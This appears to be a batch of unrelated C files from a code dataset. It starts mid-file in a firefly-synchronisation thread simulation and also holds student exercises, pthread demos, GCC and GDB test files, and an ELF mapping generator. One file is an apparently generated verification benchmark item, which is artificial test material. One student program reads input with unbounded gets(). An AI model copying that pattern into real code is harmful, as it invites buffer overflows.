else ++darkCount; // this is for the optional code that is commented out below
}
}
sleepMilliseconds(1); // this is the attainable sync resolution
++clock;
if(clock>=myCycleTime) // start my clock over
{
int meanBlink=(int)(lightSeenAt/(float)lightCount);
turnMyLightOnAt=meanBlink-(PULSEWIDTH>>1); // center my light's pulse on the mean
if(turnMyLightOnAt<0) // check for modulus underflow and correct if needed
turnMyLightOnAt=INTERVAL-turnMyLightOnAt;
/* I tried this code to close in on a tighter sync. I'm not sure how much it helped.
float lightDarkRatio=(float)lightCount/(float)darkCount;
float myRatio=(float)myLightDuration/(float)myCycleTime;
float offByThisMuch=fabs((myRatio-lightDarkRatio)/lightDarkRatio);
if(myRatio<lightDarkRatio && offByThisMuch>0.05)
myCycleTime++;
else
if(myRatio>lightDarkRatio && offByThisMuch>0.05)
myCycleTime--;
*/
clock=0;
}
}
pthread_exit(NULL);
}
// this generates a bunch a fireflies and then watches them for awhile
int
makeFireflies()
{
int i,j;
int newRowAt=0;
pthread_t tid[NFLIES];
if(pthread_mutex_init(&randLock, NULL) != 0) // create a lock for the random number generator
{
printf("mutex init has failed\n");
return 1;
}
for(i=0;i<NFLIES;i++) // create a bunch of independent firefly() threads
pthread_create(&tid[i], NULL,&firefly,(void *)&lightOn[i]);
cls();
if(NFLIES>5) // make a square array of indicators if there's many
newRowAt=sqrtf(NFLIES);
for(i=0;i<20000;i++) // watch the flies for 20 seconds (based on 1ms loop time)
{
cursorTo(10,1);
for(j=0;j<NFLIES;j++)
{
printf(" %s %s", lightOn[j]?bulb:" ",j+1==NFLIES?" ":" ");
if(newRowAt && (j+1)%newRowAt==0)
printf("\n\n");
fflush(stdout);
}
sleepMilliseconds(1);
}
quitNow=1; // instruct the firefly () threads to exit
sleepMilliseconds(2000); // wait long enough to ensure they're all dead
pthread_mutex_destroy(&randLock);
printf("\n");
return(0);
}
void
dumpFly()
{
int i,j;
//initFlyPositions();
for(i=0;i<NFLIES;i++)
printf("% 2d ",flyRowPosition[i]);
printf("\n");
for(i=0;i<NFLIES;i++)
printf("% 2d ",flyColPosition[i]);
printf("\n"); printf("\n");
for(i=0;i<NFLIES;i++)
{
for(j=0;j<NFLIES;j++)
printf("%2d ",distances[i][j]);
printf("\n");
}
printf("\n");
}
// places text nicely on the terminal and then waits for a character
void
putScreen(char *p)
{
int col=1;
cls();
cursorTo(1,1);
for(;*p;p++)
{
putchar(*p);
if(*p=='\n') col=1;
if(col++>70)
{
if(*p==' ')
{
putchar('\n');
col=0;
}
}
}
cursorTo(MAXROW,1);
printf("Press [return] key to continue.");
getchar();
}
int main(int argc, const char * argv[])
{
putScreen("Fireflies:\n\nHere are 64 fireflies. Each firefly is slightly different, and is an independently executing\
program thread. Each firefly is started at a random time and has a cycle time that is slighty different from\
the others. An individual firefly is unaware of how many other fireflies there are and can only see if others\
are flashing or not. The master thread starts all the fireflies and then displays when they are blinking\
on the terminal.\n\nThis program was to demonstrate & test the syncing ability. Each one flashes for 25 0ms +/-5ms and\
have an overall cycle of 1 second +/- 1ms\n\nThey tend to become synchronous within 5 cycles."
);
makeFireflies();
putScreen("Fireflies with distance and flash strength:\n\n\
In this instance we have 64 identical fireflies placed at random positions and are started at random times from 0 to 500ms.\
In this case however an individual firefly will see the light from every other firefly with a\
delay proportional to their individual distances apart and a strength inversely proportional to\
their distances.\n\nThese fireflies take a bit longer to develop their pattern synchrony.\
\n\nNotice how several occasionally fall out of sync, the reason for this is not known.\
They are numbered so that their flash order can be examined later."
);
distantFireflies();
cls();
printf("Thanks for watching :) \n");
return(0);
}
|
the_stack_data/29825005.c | //
// Created by Wu on 20/3/22.
//
#include "stdio.h"
int main(){
int x = 99, y, z;
y = x--;
z = x;
printf("x: %d, y: %d, z: %d",++x, y, z);// idk if required to print x increased or origin x.
}
|
the_stack_data/54824287.c | /* c program to find the frequency of the characters in the string*/
# include<stdio.h>
int main()
{
char sh[100];
char gu;
printf("Enter the value of the string");
gets(sh);
printf("Enter the character whose frequency of occourance you want to find out");
scanf("%c",&gu);
int i=0;
int j=0;
while (sh[i]!='\0')
{
if ( sh[i]==gu)
j++;
i++;
}
printf("%d",j);
}
|
the_stack_data/44693.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_neg_to_pos.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: julekgwa <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/06/06 13:19:02 by julekgwa #+# #+# */
/* Updated: 2016/06/06 13:19:37 by julekgwa ### ########.fr */
/* */
/* ************************************************************************** */
int ft_neg_to_pos(int a)
{
if (a < 0)
a = -a;
return (a);
}
|
the_stack_data/92326902.c | #include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void *print_message_function( void *ptr );
//
// cc -pthread posix-thread.c -o main
//
int main(){
pthread_t thread1, thread2;
const char *message1 = "Thread 1";
const char *message2 = "Thread 2";
int iret1, iret2;
iret1 = pthread_create( &thread1, NULL, print_message_function, (void*) message1);
if(iret1){
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
exit(EXIT_FAILURE);
}
iret2 = pthread_create( &thread2, NULL, print_message_function, (void*) message2);
if(iret2){
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
exit(EXIT_FAILURE);
}
printf("pthread_create() for thread 1 returns: %d\n",iret1);
printf("pthread_create() for thread 2 returns: %d\n",iret2);
/* Wait till threads are complete before main continues. Unless we */
/* wait we run the risk of executing an exit which will terminate */
/* the process and all threads before the threads have completed. */
pthread_join( thread1, NULL);
pthread_join( thread2, NULL);
exit(EXIT_SUCCESS);
}
void *print_message_function( void *ptr ){
char *message;
message = (char *) ptr;
printf("%s \n", message);
}
|
the_stack_data/122016719.c | #include<pthread.h>
pthread_cond_t cond1 = PTHREAD_COND_INITIALIZER;
pthread_cond_t cond2 = PTHREAD_COND_INITIALIZER;
pthread_cond_t cond3 = PTHREAD_COND_INITIALIZER;
pthread_mutex_t lock1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t lock2 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t lock3 = PTHREAD_MUTEX_INITIALIZER;
int TRUE = 1;
void print(char *p)
{
printf("%s",p);
}
void * threadMethod1(void *arg)
{
printf("In thread1\n");
do{
pthread_mutex_lock(&lock1);
//Add your business logic(parallel execution codes) here
pthread_cond_wait(&cond1, &lock1);
printf("I am thread1 generating the final report and inserting into a table \n");
pthread_cond_signal(&cond3);/* Now allow 3rd thread to process */
pthread_mutex_unlock(&lock1);
}while(TRUE);
pthread_exit(NULL);
}
void * threadMethod2(void *arg)
{
printf("In thread2\n");
do
{
pthread_mutex_lock(&lock2);
//Add your business logic(parallel execution codes) here
pthread_cond_wait(&cond2, &lock2);
printf("I am thread2 generating the final report and inserting into a table \n");
pthread_cond_signal(&cond1);
pthread_mutex_unlock(&lock2);
}while(TRUE);
pthread_exit(NULL);
}
void * threadMethod3(void *arg)
{
printf("In thread3\n");
do
{
pthread_mutex_lock(&lock3);
//Add your business logic(parallel execution codes) here
pthread_cond_wait(&cond3, &lock3);
printf("I am thread3 generating the final report and inserting into a table \n");
pthread_cond_signal(&cond2);
pthread_mutex_unlock(&lock3);
}while(TRUE);
pthread_exit(NULL);
}
int main(void)
{
pthread_t tid1, tid2, tid3;
int i = 0;
printf("Before creating the threads\n");
if( pthread_create(&tid1, NULL, threadMethod1, NULL) != 0 )
printf("Failed to create thread1\n");
if( pthread_create(&tid2, NULL, threadMethod2, NULL) != 0 )
printf("Failed to create thread2\n");
if( pthread_create(&tid3, NULL, threadMethod3, NULL) != 0 )
printf("Failed to create thread3\n");
pthread_cond_signal(&cond1);/* Now allow first thread to process first */
sleep(1);
TRUE = 0;/* Stop all the thread */
sleep(3);
/* this is how we join thread before exit from a system */
/*
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
pthread_join(tid3,NULL);*/
exit(0);
}
|
the_stack_data/124960.c | #include <stdio.h>
#include <stdlib.h>
int
main(int argc, char *argv[])
{
argv[argc++] = "--";
printf("bar.c");
exit (0);
}
|
the_stack_data/107953762.c | /* Copyright (C) 2004 Free Software Foundation.
Check that rint, rintf, rintl, lrint, lrintf, lrintl,
llrint, llrintf, llrintl, floor, floorf, floorl,
ceil, ceilf, ceill, trunc, truncf, truncl,
nearbyint, nearbyintf and nearbyintl
built-in functions compile.
Written by Uros Bizjak, 25th Aug 2004. */
/* { dg-do compile } */
/* { dg-options "-O2 -ffast-math" } */
extern double rint(double);
extern long int lrint(double);
extern long long int llrint(double);
extern double floor(double);
extern double ceil(double);
extern double trunc(double);
extern double nearbyint(double);
extern float rintf(float);
extern long int lrintf(float);
extern long long int llrintf(float);
extern float floorf(float);
extern float ceilf(float);
extern float truncf(float);
extern float nearbyintf(float);
extern long double rintl(long double);
extern long int lrintl(long double);
extern long long int llrintl(long double);
extern long double floorl(long double);
extern long double ceill(long double);
extern long double truncl(long double);
extern long double nearbyintl(long double);
double test1(double x)
{
return rint(x);
}
long int test11(double x)
{
return lrint(x);
}
long long int test12(double x)
{
return llrint(x);
}
double test2(double x)
{
return floor(x);
}
double test3(double x)
{
return ceil(x);
}
double test4(double x)
{
return trunc(x);
}
double test5(double x)
{
return nearbyint(x);
}
float test1f(float x)
{
return rintf(x);
}
long int test11f(float x)
{
return lrintf(x);
}
long long int test12f(float x)
{
return llrintf(x);
}
float test2f(float x)
{
return floorf(x);
}
float test3f(float x)
{
return ceilf(x);
}
float test4f(float x)
{
return truncf(x);
}
float test5f(float x)
{
return nearbyintf(x);
}
long double test1l(long double x)
{
return rintl(x);
}
long int test11l(long double x)
{
return lrintl(x);
}
long long int test12l(long double x)
{
return llrintl(x);
}
long double test2l(long double x)
{
return floorl(x);
}
long double test3l(long double x)
{
return ceill(x);
}
long double test4l(long double x)
{
return truncl(x);
}
long double test5l(long double x)
{
return nearbyintl(x);
}
|
the_stack_data/162642960.c | /* This is a program that will calculate and display the sum of 5 integers from 1 to 5 and also
Calculate and display the average of the following floating point numbers: 1.0, 1.1, 1.2, ..... 2.0
Author: Daniel Tilley
Date: 30/09/2014
*/
#include <stdio.h>
main()
{
//first part of program
int var1,var2,var3,var4,var5,ans1;
//Second part of code
float v1,v2,v3,v4,v5,v6,v7,v8,v9,v10,v11,ans2;
var1=1;
var2=2;
var3=3;
var4=4;
var5=5;
ans1=0;
ans1 = var1 + var2 + var3 + var4 + var5;
printf("Sum of 5 intergers = %d\n",ans1);
//Second part of code
v1=1.0;
v2=1.1;
v3=1.2;
v4=1.3;
v5=1.4;
v6=1.5;
v7=1.6;
v8=1.7;
v9=1.8;
v10=1.9;
v11=2.0;
ans2=0;
ans2 = (v1 + v2 + v3 + v4 + v5 + v6 + v7 + v8 + v9 + v10+ v11)/10;
printf("The average of 10 floats = %f",ans2);
getchar();
}//end main
|
the_stack_data/83493.c | #include <stdio.h>
int main()
{
float fahr, celsius;
int lower, upper, step;
lower = (0.0 - 32.0) * (5.0 / 9.0);
upper = (300.0 - 32.0) * (5.0 / 9.0);
step = 20 * (5.0 / 9.0);
celsius = lower;
while (celsius <= upper) {
fahr = (9.0 / 5.0) * celsius + 32.0;
printf("%3.0f\t%6.1f\n", celsius, fahr);
celsius = celsius + step;
}
}
|
the_stack_data/73575840.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
/* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include "assert.h"
#include "pthread.h"
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p1_EAX;
int __unbuffered_p1_EAX = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
_Bool x$flush_delayed;
int x$mem_tmp;
_Bool x$r_buff0_thd0;
_Bool x$r_buff0_thd1;
_Bool x$r_buff0_thd2;
_Bool x$r_buff0_thd3;
_Bool x$r_buff1_thd0;
_Bool x$r_buff1_thd1;
_Bool x$r_buff1_thd2;
_Bool x$r_buff1_thd3;
_Bool x$read_delayed;
int *x$read_delayed_var;
int x$w_buff0;
_Bool x$w_buff0_used;
int x$w_buff1;
_Bool x$w_buff1_used;
int y;
int y = 0;
int z;
int z = 0;
_Bool weak$$choice0;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
z = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd1 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$w_buff1_used;
x$r_buff0_thd1 = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$r_buff0_thd1;
x$r_buff1_thd1 = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$r_buff1_thd1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x$w_buff1 = x$w_buff0;
x$w_buff0 = 2;
x$w_buff1_used = x$w_buff0_used;
x$w_buff0_used = TRUE;
__VERIFIER_assert(!(x$w_buff1_used && x$w_buff0_used));
x$r_buff1_thd0 = x$r_buff0_thd0;
x$r_buff1_thd1 = x$r_buff0_thd1;
x$r_buff1_thd2 = x$r_buff0_thd2;
x$r_buff1_thd3 = x$r_buff0_thd3;
x$r_buff0_thd2 = TRUE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p1_EAX = y;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd2 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd2 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$w_buff1_used;
x$r_buff0_thd2 = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$r_buff0_thd2;
x$r_buff1_thd2 = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$r_buff1_thd2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p2_EAX = z;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd3 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$w_buff1_used;
x$r_buff0_thd3 = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$r_buff0_thd3;
x$r_buff1_thd3 = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$r_buff1_thd3;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
x = x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd0 ? x$w_buff1 : x);
x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used;
x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$w_buff1_used;
x$r_buff0_thd0 = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0;
x$r_buff1_thd0 = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program proven to be relaxed for X86, model checker says YES. */
weak$$choice0 = nondet_1();
/* Program proven to be relaxed for X86, model checker says YES. */
weak$$choice2 = nondet_1();
/* Program proven to be relaxed for X86, model checker says YES. */
x$flush_delayed = weak$$choice2;
/* Program proven to be relaxed for X86, model checker says YES. */
x$mem_tmp = x;
/* Program proven to be relaxed for X86, model checker says YES. */
x = !x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff1);
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff0 = weak$$choice2 ? x$w_buff0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff0));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff1 = weak$$choice2 ? x$w_buff1 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff1 : x$w_buff1));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff0_used = weak$$choice2 ? x$w_buff0_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used));
/* Program proven to be relaxed for X86, model checker says YES. */
x$w_buff1_used = weak$$choice2 ? x$w_buff1_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE));
/* Program proven to be relaxed for X86, model checker says YES. */
x$r_buff0_thd0 = weak$$choice2 ? x$r_buff0_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff0_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0));
/* Program proven to be relaxed for X86, model checker says YES. */
x$r_buff1_thd0 = weak$$choice2 ? x$r_buff1_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff1_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE));
/* Program proven to be relaxed for X86, model checker says YES. */
main$tmp_guard1 = !(x == 2 && __unbuffered_p1_EAX == 0 && __unbuffered_p2_EAX == 0);
/* Program proven to be relaxed for X86, model checker says YES. */
x = x$flush_delayed ? x$mem_tmp : x;
/* Program proven to be relaxed for X86, model checker says YES. */
x$flush_delayed = FALSE;
__VERIFIER_atomic_end();
/* Program proven to be relaxed for X86, model checker says YES. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/951003.c | // This test code demonstrates the use of nested function
// and one defined as "auto" which is not allowed in EDG
// (or at least I have to look into this further).
// Without "auto" EDG still appears to now allow nested
// functions. so I need to dig into this further.
static int*** parse_params(char **argv)
{
/* This is the only place in busybox where we use nested function.
* So far more standard alternatives were bigger. */
/* Auto decl suppresses "func without a prototype" warning: */
// auto int* alloc_action(int sizeof_struct);
int* alloc_action(int sizeof_struct);
#if 0
int* alloc_action(int sizeof_struct)
{
}
#endif
}
|
the_stack_data/154832101.c | #include <stdio.h>
int main(int argc, char** argv) {
char s[] = "myworld";
int i = 3;
printf("%10.*s %%", i, s);
} |
the_stack_data/963980.c | //
// main.c
// Multiples
//
// Created by MacBook on 24/03/17.
// Copyright © 2017 Bruno Botelho. All rights reserved.
//
#include <stdio.h>
int main(int argc, const char * argv[]) {
// insert code here...
char resposta[][30] = {"Sao Multiplos","Nao sao Multiplos"};
int a,b;
scanf("%d%d",&a,&b);
if(a==0||b==0) {
printf("%s\n",resposta[0]);
}else if(a%b==0||b%a==0) printf("%s\n",resposta[0]);
else printf("%s\n",resposta[1]);
return 0;
}
|
the_stack_data/390339.c | #include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_LINE_BUFF 1000
#define RECORDS_INIT_SIZE 10
typedef struct Records
{
char*** record;
int size;
int capicity;
} Records;
void extend(Records* self)
{
if (self->capicity == 0) {
self->capicity = RECORDS_INIT_SIZE;
} else {
self->capicity *= 2;
}
self->record = (char***)realloc(
self->record, sizeof(char**) * self->capicity);
self->record[0] = (char**)realloc(
self->record[0], sizeof(char*) * 3 * self->capicity);
for (int i = 0; i < self->capicity; ++i) {
self->record[i] = self->record[0] + i * 3;
}
assert(self->record != NULL);
}
void simplify_filter(char* dest, char* src, const char* pattern)
{
//int length = strlen(src);
int length_pattern = strlen(pattern);
char* next = strstr(src, pattern);
while (*src != '\0') {
while (src != next && *src != '\0') {
*dest = *src;
++dest;
++src;
}
if (*src == '\0') break;
src += length_pattern;
next = strstr(src, pattern);
}
*dest = '\0';
}
int check_duplicate(Records* self, const char* str)
{
for (int i = 0; i < self->size; ++i) {
if (strcmp(self->record[i][0], str) == 0) {
return 0;
}
}
return 1;
}
char* simplify(Records* self, char* varname)
{
int l = strlen(varname);
char* ret = (char*)malloc(sizeof(char) * (l + 1));
simplify_filter(ret, varname, "_");
simplify_filter(ret, ret, "test");
simplify_filter(ret, ret, "elf");
return ret;
}
void write_to_file(Records* self, FILE* header, FILE* source)
{
//header = stdout;
//source = stdout;
fseek(header, 0, SEEK_END);
fprintf(header, "typedef struct ElfFile {\n");
fprintf(header, " char *file_name;\n");
fprintf(header, " unsigned char* file_content;\n");
fprintf(header, " int* file_length;\n");
fprintf(header, "} ElfFile;\n\n");
fprintf(header, "#define ELF_FILE_NUM %d\n", self->size);
fprintf(header, "extern ElfFile elf_files[%d];\n", self->size);
fprintf(header, "extern int get_elf_file(const char *file_name, unsigned char **binary, int *length);\n");
fseek(source, 0, SEEK_END);
fprintf(source, "#include <string.h> \n");
fprintf(source, "#include \"user_programs.h\"\n");
fprintf(source, "ElfFile elf_files[%d] = {\n", self->size);
for (int i = 0; i < self->size; ++i) {
fprintf(
source,
" {.file_name = \"%s\", .file_content = %s, .file_length = &%s}%s\n",
self->record[i][0], self->record[i][1], self->record[i][2],
i == self->size - 1 ? "" : ",");
}
fprintf(source, "};\n");
fprintf(source, "int get_elf_file(const char *file_name, unsigned char **binary, int *length)\n");
fprintf(source, "{\n");
fprintf(source, " for (int i = 0; i < %d; ++i) {\n", self->size);
fprintf(source, " if (strcmp(elf_files[i].file_name,file_name) == 0) {\n");
fprintf(source, " *binary = elf_files[i].file_content;\n");
fprintf(source, " *length = *elf_files[i].file_length;\n");
fprintf(source, " return 1;\n");
fprintf(source, " }\n");
fprintf(source, " }\n");
fprintf(source, " return 0;\n");
fprintf(source, "}\n\n");
}
void append_record(Records* self, char* varname)
{
while (self->size >= self->capicity) {
extend(self);
}
char* length_var_name = (char*) malloc(sizeof(char) * (strlen(varname) + sizeof("_length")));
strcpy(length_var_name, "_length");
strcat(length_var_name, &varname[sizeof("_elf") - 1]);
self->record[self->size][0] = simplify(self, varname);
self->record[self->size][1] = varname;
self->record[self->size][2] = length_var_name;
++self->size;
}
int start_with(const char* str, const char* start)
{
while (*start != '\0') {
if (*start != *str) {
return 0;
}
++start;
++str;
}
return 1;
}
char* variable_name(const char* buffer)
{
// skip `extern unsigned char `
char* ret = NULL;
const char* var = buffer + sizeof(char) * strlen("extern unsigned char ");
int l = strlen(var);
ret = (char*)malloc(
sizeof(char) *
(l + 1)); // strlen(var) + 1(this is for '\0')
strcpy(ret, var);
return ret;
}
FILE* open_file_with_suffix(
const char* file_name, const char* suffix)
{
char* file_name_buf = (char*)malloc(
sizeof(char) * (strlen(file_name) + strlen(suffix) + 1));
strcpy(file_name_buf, file_name);
strcat(file_name_buf, suffix);
FILE* ret = fopen(file_name_buf, "r+");
free(file_name_buf);
return ret;
}
int main(int argc, char* argv[])
{
if (argc != 2) {
printf("Usage: generateMapping <user_programs>\n");
return -1;
}
FILE* header = open_file_with_suffix(argv[1], ".h");
if (header == NULL) {
printf("Can not open %s.h!\n", argv[1]);
return -1;
}
Records records = {NULL, 0, 0};
char buffer[MAX_LINE_BUFF];
while (fgets(buffer, MAX_LINE_BUFF, header) != 0) {
if (start_with(buffer, "extern unsigned char")) {
buffer[strlen(buffer) - 4] = '\0';
append_record(&records, variable_name(buffer));
}
}
FILE* source = open_file_with_suffix(argv[1], ".c");
if (source == NULL) {
printf("Can not open %s.h!\n", argv[1]);
return -1;
}
write_to_file(&records, header, source);
fclose(header);
fclose(source);
return 0;
}
|
the_stack_data/39214.c | void main(void) {
}
/* error: last delclaration should be main() */
int a;
|
the_stack_data/212642739.c | /* This testcase is part of GDB, the GNU debugger.
Copyright 2011-2014 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <pthread.h>
/* Place this variable to a separate CU (Compilation Unit) from main so that it
has delayed full symtab expansion. */
__thread const char *tls_var = "hello";
|
the_stack_data/23574596.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
float calculo(float x);
int main()
{
float x, y;
printf("Programa para calcular o valor de f(x).\n");
printf("Qual o valor de X? ");
scanf("%f", &x);
y = calculo(x);
printf("y = f(x) = %.2f", y);
return 0;
}
float calculo(float x)
{
float y;
if(x <= 1)
{
y = 1;
}
else if(x > 1 && x <= 2)
{
y = 2;
}
else if(x > 2 && x <= 3)
{
y = pow(x,2);
}
else
{
y = pow(x,3);
}
return y;
}
|
the_stack_data/40762154.c | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_12__ TYPE_6__ ;
typedef struct TYPE_11__ TYPE_5__ ;
typedef struct TYPE_10__ TYPE_4__ ;
typedef struct TYPE_9__ TYPE_3__ ;
typedef struct TYPE_8__ TYPE_2__ ;
typedef struct TYPE_7__ TYPE_1__ ;
/* Type definitions */
struct pf_addr {int* addr32; } ;
struct pf_src_node {struct pf_addr raddr; } ;
struct pf_pool {int opts; int tblidx; struct pf_addr counter; struct pf_pooladdr* cur; int /*<<< orphan*/ list; int /*<<< orphan*/ key; } ;
struct pf_rule {struct pf_pool rpool; } ;
struct TYPE_7__ {struct pf_addr mask; struct pf_addr addr; } ;
struct TYPE_8__ {TYPE_1__ a; } ;
struct TYPE_10__ {TYPE_3__* dyn; int /*<<< orphan*/ tbl; } ;
struct TYPE_11__ {scalar_t__ type; TYPE_2__ v; TYPE_4__ p; } ;
struct pf_pooladdr {TYPE_5__ addr; } ;
typedef int sa_family_t ;
struct TYPE_12__ {scalar_t__ debug; } ;
struct TYPE_9__ {int pfid_acnt4; int pfid_acnt6; int /*<<< orphan*/ pfid_kt; struct pf_addr pfid_mask6; struct pf_addr pfid_addr6; struct pf_addr pfid_mask4; struct pf_addr pfid_addr4; } ;
/* Variables and functions */
#define AF_INET 134
#define AF_INET6 133
int /*<<< orphan*/ PF_ACPY (struct pf_addr*,struct pf_addr*,int) ;
scalar_t__ PF_ADDR_DYNIFTL ;
scalar_t__ PF_ADDR_NOROUTE ;
